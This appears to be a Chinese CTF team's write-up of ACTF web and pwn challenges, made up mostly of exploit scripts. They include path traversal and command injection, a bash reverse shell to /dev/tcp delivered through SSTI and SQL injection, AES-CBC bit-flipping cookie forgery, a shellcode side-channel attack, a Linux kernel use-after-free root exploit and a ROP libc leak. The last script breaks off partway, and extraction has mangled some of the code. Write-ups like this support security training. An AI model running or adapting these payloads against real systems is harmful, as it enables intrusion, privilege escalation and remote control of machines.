队伍名称:Nepnep
最终排名:5th
感谢队里师傅们的辛苦付出!如果有意加入我们团队的师傅,欢迎发送个人简介至:[email protected]
Web
ACTF Upload
用随意账号登录,拿到源代码
http://sensitive_ip:56000/upload?file_path=../../../../app/app.py
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return'''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''
@app.route('/upload', methods=['POST', 'GET'])
def upload():
ifnot session.get('username'):
return redirect(url_for('login'))
if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')
else:
ifnot request.args.get('file_path'):
return'''
<h1>Upload Image</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
returnf'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return'Sorry, but you are not allowed to view this image.'
if __name__ == '__main__':
app.run(host='sensitive_ip', port=5000)
md5 解密密码是 backdoor,用 admin 的身份可以命令注入
http://sensitive_ip:56000/upload?file_path=somefile.txt;ls / > /tmp/pwned;
在普通用户权限读
http://sensitive_ip:56000/upload?file_path=../../../../tmp/pwned
Excellent_Site
import requests
import base64
URL = "http://sensitive_ip:52098"
cmd = "sensitive_ip/30001"
bases64_cmd = base64.b64encode(f"bash -c 'bash -i>/dev/tcp/{cmd} 0>&1 2>&1'".encode()).decode()
exp_data = """{% for i in ''.__class__.__base__.__subclasses__() %}
{% if i.__name__ == "_wrap_close" %}
{% set a = i.__init__.__globals__['popen']('echo """ + bases64_cmd + """|base64 -d|sh').read() %}
{% endif %}
{% endfor %}'"""
try:
rep = requests.post(
url=URL + "/report",
data={
"url":"http://ezmail.org:3000/news?id=" + f"2 union select unhex('{exp_data.encode('utf-8').hex()}') limit 1,1rnFrom: [email protected]",
"content":"7890"
}
)
print(rep.text)
rep = requests.get(url=URL + '/bot')
print(rep.text)
except Exception as e:
print(e)
Not so web
源代码
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)
app = Flask(__name__)
app.secret_key = KEY
@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def validate_cookie(cookie: str) -> bool:
ifnot cookie:
returnFalse
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
returnFalse
if len(cookie_encrypted) < 32:
returnFalse
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
returnFalse
try:
_ = json.loads(cookie_json)
except Exception:
returnFalse
returnTrue
def parse_cookie(cookie: str) -> Tuple[bool, str]:
ifnot cookie:
returnFalse, ""
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
returnFalse, ""
if len(cookie_encrypted) < 32:
returnFalse, ""
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
returnFalse, ""
try:
cookie_dict = json.loads(cookie_json)
except Exception:
returnFalse, ""
returnTrue, cookie_dict.get("name")
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()
@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")
@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
ifnot valid ornot current_username:
return redirect(url_for("logout"))
user_profile = users.get(current_username)
ifnot user_profile:
return redirect(url_for("logout"))
if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)
@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp
if __name__ == "__main__":
app.run()
# Exp for "Not so web 1"
import base64
import requests
import urllib.parse as urllib
url = "http://sensitive_ip:51116/"
print("[*]register zdmin")
requests.post(url + "register", data={"username": "zdmin", "password": "KamiyaKamiya!"})
print("[+]register success!")
s = requests.Session()
print("[*]login zdmin")
res = s.post(url + "login", data={"username": "zdmin", "password": "KamiyaKamiya!"})
print("[+]login success!")
print("[*]get cookie")
cipher_raw = s.cookies['jwbcookie']
print("[*]cookie: " + cipher_raw)
cipher = base64.b64decode(urllib.unquote(cipher_raw))
iv = cipher[:16]
Cipher = cipher[16:]
print ("[*]xor iv")
new_iv = iv[0:10] + bytes([iv[10] ^ ord('z') ^ ord('a')]) + iv[11:]
Cph = new_iv + Cipher
Cph=base64.b64encode(Cph).decode()
print ("[*]reverse cipher: " + Cph)
print("[*]get flag")
res = requests.get(url + 'home?payload={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__.popen("cat flag.txt").read()}}', cookies={"jwbcookie": Cph})
print(res.text)
利用别的账号拿到加密对,打AES字节翻转攻击伪造admin拿到cookie,然后打SSTI即可
url/home?payload={{"".class.base.subclasses()[137].init.globals.popen("cat%20flag.txt").read()}}
Not so web2
源代码:
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
abort,
)
app = Flask(__name__)
app.secret_key = KEY
if os.path.exists("/etc/ssl/nginx/local.key"):
private_key = RSA.importKey(open("/etc/ssl/nginx/local.key", "r").read())
else:
private_key = RSA.generate(2048)
public_key = private_key.publickey()
@dataclass
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def validate_cookie(cookie_b64: str) -> bool:
valid, _ = parse_cookie(cookie_b64)
return valid
def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
ifnot cookie_b64:
returnFalse, ""
try:
cookie = base64.b64decode(cookie_b64, validate=True).decode()
except binascii.Error:
returnFalse, ""
try:
msg_str, sig_hex = cookie.split("&")
except Exception:
returnFalse, ""
msg_dict = json.loads(msg_str)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = bytes.fromhex(sig_hex)
try:
PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
valid = True
except (ValueError, TypeError):
valid = False
return valid, msg_dict.get("user_name")
def generate_cookie(user: APPUser) -> str:
msg_dict = {"user_name": user.name, "login_time": int(time.time())}
msg_str = json.dumps(msg_dict)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
sig_hex = sig.hex()
packed = msg_str + "&" + sig_hex
return base64.b64encode(packed.encode()).decode()
@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")
@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
ifnot valid ornot current_username:
return redirect(url_for("logout"))
user_profile = users.get(current_username)
ifnot user_profile:
return redirect(url_for("logout"))
if current_username == "admin":
payload = request.args.get("payload")
if payload:
for char in payload:
if char in"'_#&;":
abort(403)
return
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)
@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp
if __name__ == "__main__":
app.run()
注册一个账号拿到 session 之后 base64 解码然后直接修改 user_name
字段内容为 admin 即可越权获得 admin 权限。然后 SSTI 只是简单绕过,payload:
{{(cycler.next["%c"%95+"%c"%95+"globals"+"%c"%95+"%c"%95].os.popen("cat flag.txt")).read()}}
# generated from fenjing.
Pwn
AFL sandbox
python交互的题目,首先有一个poW(工作量证明),通过工作量证明后会进入程序主体
def is_valid(digest):
zeros = "0" * 12
bits = "".join(bin(i)[2:].zfill(8) for i in digest)
return bits[:12] == zeros
io.recvuntil(b"sha256(")
num = io.recv(8).decode()
print("num == ", type(num))
i=0
answer = ""
whileTrue:
str_i = str(i)
if is_valid(hashlib.sha256((num+str_i).encode()).digest()):
answer = str_i
break
else:
i+=1
print("answer = ",answer)
io.sendline(answer.encode())
随后我们输入shellcode,python会将输入的shellcode保存到本地的/tmp/shellcode.bin文件中
随后通过题目所给的afl-fuzz文件对harness文件做测试,随后我们去分析harness文件,发现文件存在sandbox,同时文件直接读取本地的shellcode执行,并没有和用户存在交互,所以input文件夹中随便放些数据即可
由于在测试过程中,afl-fuzz会fork一个子进程,在子进程中exec这个harness文件,在这个过程中输入输出均被关闭或者重定向,因此无法通过标准输出或者标准错误输出来输出shellcode读取到的flag,但是主进程会获取到子进程的部分数据,因此使用侧信道攻击,逐位爆破flag
主要逻辑就是判断枚举的字符和读取的字符是否相等,若相等则会进入死循环,不相等主进程会输出signal 11
经过多轮测试,flag位于/home/ctf/flag处
exp如下:
from pwn import *
from LibcSearcher import *
from ctypes import *
context(os="linux", arch="amd64")
abc = "{}-_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
list = [ord(x) for x in abc]
strings = """
mov rax,2
mov rdi,0x67616c662f
push rdi
mov rdi,rsp
mov rsi,4
syscall
mov rdi,rax
mov rsi,0x20000
mov rdx,100
mov rax,0
syscall
mov rax,rsi
mov bl,byte ptr [rax+{}]
cmp bl,{}
je $-3
"""
#这里其实已经没有用了
flag = "ACTF{wH4t"
index = len(flag)
# print(asm(shellcraft.open('/home/ctf/flag')))
# pause()
whileTrue:
for j in range(len(abc)):
# io = process(["python3", "wrapper.py"])
io = remote("sensitive_ip", 59607)
def is_valid(digest):
zeros = "0" * 12
bits = "".join(bin(i)[2:].zfill(8) for i in digest)
return bits[:12] == zeros
io.recvuntil(b"sha256(")
num = io.recv(8).decode()
print("num == ", type(num))
i = 0
answer = ""
whileTrue:
str_i = str(i)
if is_valid(hashlib.sha256((num + str_i).encode()).digest()):
answer = str_i
break
else:
i += 1
print("answer = ", answer)
io.sendline(answer.encode())
# shell = asm(strings.format(index, list[j]))
if index==0:
shell=b'Hxb8x01x01x01x01x01x01x01x01PHxb8g.gm`fx01x01H1x04$Hxb8/home/ctPHx89xe71xd21xf6jx02Xx0fx05Hx89xc7Hxc7xc6x00x00x02x00Hxc7xc2dx00x00x00Hxc7xc0x00x00x00x00x0fx05Hx89xf0x8a'+(0x18).to_bytes(1,'little')+b'x80xfb'+list[j].to_bytes(1,'little')+b'txfb'
else:
shell=b'Hxb8x01x01x01x01x01x01x01x01PHxb8g.gm`fx01x01H1x04$Hxb8/home/ctPHx89xe71xd21xf6jx02Xx0fx05Hx89xc7Hxc7xc6x00x00x02x00Hxc7xc2dx00x00x00Hxc7xc0x00x00x00x00x0fx05Hx89xf0x8aX'+index.to_bytes(1,'little')+b'x80xfb'+list[j].to_bytes(1,'little')+b'txfb'
# if index == 0:
# shell = b'Hxc7xc0x02x00x00x00Hxbf' + b'/flag' + b'x00x00x00WHx89xe7Hxc7xc6x04x00x00x00x0fx05Hx89xc7Hxc7xc6x00x00x02x00Hxc7xc2dx00x00x00Hxc7xc0x00x00x00x00x0fx05Hx89xf0x8a' + (
# 0x18).to_bytes(1, 'little') + b'x80xfb' + list[j].to_bytes(1, 'little') + b'txfb'
# else:
# shell = b'Hxc7xc0x02x00x00x00Hxbf' + b'/flag' + b'x00x00x00WHx89xe7Hxc7xc6x04x00x00x00x0fx05Hx89xc7Hxc7xc6x00x00x02x00Hxc7xc2dx00x00x00Hxc7xc0x00x00x00x00x0fx05Hx89xf0x8aX' + index.to_bytes(
# 1, 'little') + b'x80xfb' + list[j].to_bytes(1, 'little') + b'txfb'
io.sendline(shell.hex())
io.sendline()
io.recvuntil(b"Spinning up the fork server...")
io.recvuntil(b"n")
judge = io.recv(timeout=0.5)
print("now is --->>>", chr(list[j]))
print("flag --->>>", flag)
print("judge --->>", judge)
io.close()
ifb'signal 11'notin judge:
flag += chr(list[j])
index += 1
break
if'}'in flag:
break
print(flag)
arandom
内核,分配的堆块的size,写的offset,甚至写的value,统统都是随机数;
ioctl上锁了,存在uaf洞,目前可以在大页分配的时候通过uaf构造uaf-page,然后用pipe的page占位uaf-page,实现泄露:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts(" 33[34m 33[1m[*] Status has been saved. 33[0m");
}
void get_root_shell(){
printf("now pid == %pn", getpid());
system("/bin/sh");
}
//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf(" 33[34m 33[1m[*] Process binded to core 33[0m%dn", core);
}
//利用kallsyms文件泄露内核函数地址
size_t prepare_kernel_cred = 0LL;
size_t commit_creds = 0LL;
void read_kallsyms(){
FILE *f = fopen("/proc/kallsyms", "r");
if(!f) returnputs(" 33[31m 33[1m[x] open file /proc/kallsyms error! 33[0mn");
size_t addr;
char type;
char name[0x40];
while(fscanf(f, "%llx %c %s", &addr, &type, name)){
if(prepare_kernel_cred && commit_creds) break;
if(!strcmp(name, "commit_creds")) commit_creds = addr;
if(!strcmp(name, "prepare_kernel_cred")) prepare_kernel_cred = addr;
}
printf(" 33[32m 33[1m[+] prepare_kernel_cred == %p 33[0mn", prepare_kernel_cred);
printf(" 33[32m 33[1m[+] commit_creds == %p 33[0mn", commit_creds);
}
int dev_fd;
struct aaa {
int size;
int offset;
int value;
};
struct aaa AAA;
void get_info(){
ioctl(dev_fd, 4100, &AAA);
printf("size == 0x%x, offset == 0x%x, value == 0x%xn", AAA.size, AAA.offset, AAA.value);
}
void alloc(){
ioctl(dev_fd, 4097, &AAA);
}
void delete(){
ioctl(dev_fd, 4098, &AAA);
}
void leak(){
ioctl(dev_fd, 4101, &AAA);
}
char data[0x8000];
int main(){
save_status();
bindCore(0);
int pipe1[0x200][2];
dev_fd = open("/dev/arandom", 2);
printf("dev_fd == %dn", dev_fd);
get_info();
alloc();
delete();
for(int i = 0; i < 8; i++){
memset(data+i*0x1000, 'a'+i, 0x1000);
memcpy(data+i*0x1000+(AAA.offset&0xfff), &AAA.value, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+4, 0, 4);
memcpy(data+i*0x1000+(AAA.offset&0xfff)+16, &AAA.offset, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+16+4, 0, 4);
memcpy(data+i*0x1000+(AAA.offset&0xfff)+24, &AAA.size, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+24+4, 0, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+32, 0, 8);
}
for(int i = 0; i < 0x100; i++){
if(pipe(pipe1[i]) < 0){
perror("create pipe");
break;
}
write(pipe1[i][1], data, 0x8000);
}
leak();
size_t ker_offset = -1;
for(int i = 0; i < 0x100; i++){
for(int j = 0; j < 8; j++){
read(pipe1[i][0], data, 0x1000);
size_t addr = 0LL;
memcpy(&addr, data+(AAA.offset&0xfff)+0x20, 8);
if(addr){
printf("addr == %pn", (void *)addr);
ker_offset = addr - 0xffffffff81907850;
break;
}
}
}
printf("ker_offset == %pn", (void *)ker_offset);
puts("end");
getchar();
}
注意:
-
遇到小堆块(小于0x2000)会直接失效; -
大堆块(超过0x2000),反复运行几次即可泄露;
其实不用自己压缩,直接musl一把梭了。。。:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
//#include <stdlib.h>
//#include <string.h>
#include <sys/ioctl.h>
//#include <unistd.h>
//#include <sched.h>
//#include <sys/types.h>
//利用kallsyms文件泄露内核函数地址
size_t prepare_kernel_cred = 0LL;
size_t commit_creds = 0LL;
int dev_fd;
struct aaa {
int size;
int offset;
int value;
};
struct aaa AAA;
void get_info(){
ioctl(dev_fd, 4100, &AAA);
printf("size == 0x%x, offset == 0x%x, value == 0x%xn", AAA.size, AAA.offset, AAA.value);
}
void alloc(){
ioctl(dev_fd, 4097, &AAA);
}
void delete(){
ioctl(dev_fd, 4098, &AAA);
}
void leak(){
ioctl(dev_fd, 4101, &AAA);
}
void edit(){
ioctl(dev_fd, 4099, &AAA);
}
char data[0x8000];
size_t data2[0x1000];
size_t commit_creds;
size_t init_cred;
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = 0xffffffff812c8fd0;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)(init_cred);
}
int main(int argc, char **argv){
int pipe1[0x400][2];
dev_fd = open("/dev/arandom", 2);
get_info();
#include <sys/mman.h>
size_t *ops;
//printf("data2 == %pn", (data2));
int good_off[] = {0x10, 0x38, 0x60, 0x88, 0xb0, 0xd8, 0x100, 0x128};
memset(data2, 0, sizeof(data2));
memcpy((char *)data2+(AAA.offset%0x200), &AAA.value, 4);
size_t fake_ops = -1;
for(int i = 0; i < 8; i++){
//printf("data_val == %pn", data2[good_off[i]/8]);
if(data2[good_off[i]/8]){
size_t goal_page = data2[good_off[i]/8]&0xfffffffffffff000;
ops = mmap(goal_page, 0x8000, PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
//printf("ops == %pn", ops);
if(ops == goal_page) {
fake_ops = data2[good_off[i]/8];
break;
}
}
}
//getchar();
memset(data, 0, sizeof(data));
memset(ops, 0, 0x8000);
alloc();
delete();
for(int i = 0; i < 8; i++){
memset(data+i*0x1000, 'a', 0x1000);
memcpy(data+i*0x1000+(AAA.offset&0xfff), &AAA.value, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+4, 0, 4);
memcpy(data+i*0x1000+(AAA.offset&0xfff)+16, &AAA.offset, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+16+4, 0, 4);
memcpy(data+i*0x1000+(AAA.offset&0xfff)+24, &AAA.size, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+24+4, 0, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+32, 0, 8);
}
for(int i = 0; i < 0x400; i++){
if(pipe(pipe1[i]) < 0){
perror("create pipe");
break;
}
memset(data, i, 8);
write(pipe1[i][1], data, 0x1000);
}
leak();
size_t ker_offset = -1;
int victim_pipe_idx = -1;
for(int i = 0; i < 0x400; i++){
for(int j = 0; j < 1; j++){
read(pipe1[i][0], data, 0x1000-4);
size_t addr = 0LL;
memcpy(&addr, data+(AAA.offset&0xfff)+0x20, 8);
if(addr && victim_pipe_idx == -1){
//printf("addr == %p, i == 0x%xn", (void *)addr, i);
ker_offset = addr - 0xffffffff81907850;
victim_pipe_idx = i;
break;
}
}
}
printf("ker_offset == %pn", (void *)ker_offset);
if(ker_offset == -1) exit(0);
//victim_pipe_idx += (AAA.offset) / 0x1000;
//printf("victim_pipe_idx == %dn, %d %dn", victim_pipe_idx, pipe1[victim_pipe_idx][0], pipe1[victim_pipe_idx][1]);
//getchar();
close(pipe1[victim_pipe_idx][0]);
close(pipe1[victim_pipe_idx][1]);
//sleep(2);
for(int i = 0; i < 0x200; i++){
memset(data, i, 0x8000);
//write(pipe1[i][1], data, 0x2000);
}
for(int i = 0; i < 0x400; i++){
if(i == victim_pipe_idx) continue;
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){
puts("set pipe size error!");
exit(-1);
}
}
for(int i = 0; i < 0x400; i++){
if(i == victim_pipe_idx) continue;
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 2 ) < 0){
puts("set pipe size error!");
exit(-1);
}
}
for(int i = 0; i < 0x400; i++){
if(i == victim_pipe_idx) continue;
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 8 ) < 0){
puts("set pipe size error!");
exit(-1);
}
}
edit();
//puts("end done");
//getchar();
size_t hijack = getRootPrivilige;
for(int i = 0; i <= 0x40; i += 8){
memcpy(fake_ops+i, &hijack, 8);
}
commit_creds = ker_offset + 0xffffffff812c8d40;
init_cred = ker_offset + 0xffffffff82a54120;
for(int i = 0; i < 0x400; i++){
close(pipe1[i][0]);
close(pipe1[i][1]);
}
system("/bin/sh");
}
ACTF{Y0u_h4v3_b3c0m3_4_m4573r_0f_r4nd0m_num83r5}
only_read
0day(return-to-gxh)
打libc梭哈(¦3[▓▓] 晚安
from pwn import *
import subprocess
import re
import time
context(log_level='debug', arch='amd64')
remotes=1
# 连接到远程服务器
if remotes :
r = remote('sensitive_ip',9999)
else:
r = process(['./ld-linux-x86-64.so.2', '--library-path', "./", './only_read'])
# 处理防爆破验证
def solve_pow():
# 接收完整的挑战信息
pow_info = ""
whileTrue:
line = r.recvline().decode().strip()
pow_info += line + "n"
print(f"接收到: {line}")
if"seconds"in line or"Submit"in line:
break
print(f"完整POW挑战: {pow_info}")
# 使用正则表达式提取hashcash参数
match = re.search(r'hashcash -mb(d+) (w+)', pow_info)
ifnot match:
print("无法解析POW挑战")
returnFalse
bits, challenge = match.groups()
print(f"需要生成: hashcash -mb{bits} {challenge}")
# 使用subprocess调用hashcash命令
try:
cmd = ["hashcash", f"-mb{bits}", challenge]
print(f"执行命令: {' '.join(cmd)}")
# 设置超时时间为25秒,留5秒用于处理和发送
process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate(timeout=25)
if process.returncode != 0:
print(f"hashcash命令失败: {stderr.decode()}")
returnFalse
token = stdout.decode().strip()
print(f"生成的token: {token}")
# 发送token
r.sendline(token.encode())
response = r.recvline().decode().strip()
print(f"服务器响应: {response}")
return"matched"in response or"correct"in response or"Success"in response
except subprocess.TimeoutExpired:
print("hashcash命令超时")
process.kill()
returnFalse
except Exception as e:
print(f"处理POW时出错: {str(e)}")
returnFalse
# 尝试解决POW
if remotes :
first_line = r.recvline().decode().strip()
if"proof-of-work"in first_line:
r.unrecv(first_line.encode() + b'n') # 将第一行放回缓冲区
ifnot solve_pow():
print("无法通过POW验证,退出")
r.close()
exit(1)
print("成功通过POW验证!")
r.recvuntil('~n')
import time
time.sleep(1)
else:
print("没有检测到POW验证")
r.unrecv(first_line.encode() + b'n') # 将第一行放回缓冲区
else:
gdb.attach(r,'b write')
# 加载libc
libc_38 = ELF('./libc.so.6')
start = 0x401050
ret = 0x40115e
# 第一次发送Payload
Payload = p64(start)*17 + p64(ret)*22 + p64(start)
raw_input()
r.send(Payload)
raw_input()
# 第二次发送Payload
r.send(p64(start)*17 + b'x60xa3')
# 捕获以0x7f开头的地址
leaks = []
for i in range(18): # 只接收18个地址
try:
# 接收8个字节的数据
data = r.recv(8)
ifnot data or len(data) < 8:
print(f"无法接收第{i+1}个地址,只收到 {len(data) if data else 0} 字节")
# 尝试接收更多数据
more_data = r.recv(8 - len(data) if data else8, timeout=1)
if more_data:
data = (data if data elseb'') + more_data
else:
continue
# 解析为8字节地址
leak = u64(data)
# 无论前缀如何,都添加到列表并打印
leaks.append(leak)
print(f"地址 {i+1}: {hex(leak)}")
except Exception as e:
print(f"处理第{i+1}个地址时出错: {str(e)}")
# 验证所有泄漏的地址是否大小相同
if leaks:
print("n捕获到的地址:")
for i, leak in enumerate(leaks):
print(f"{i+1}. {hex(leak)}")
# 检查所有地址是否大小相同
if all(leak == leaks[0] for leak in leaks):
print("n所有泄漏地址大小相同")
else:
print("n泄漏地址大小不同")
else:
print("未捕获到任何以0x7f开头的地址")
# 使用第一个泄漏地址(如果有)
if leaks:
leak = leaks[17]-0x2a360
print(f"n使用泄漏地址: {hex(leak)}")
# 计算system地址和/bin/sh字符串地址
system = leak + libc_38.sym['system']
sh_str = leak + next(libc_38.search(b'/bin/shx00'))
pop_rdi = leak + 0x000000000010f75b
print(f"system地址: {hex(system)}")
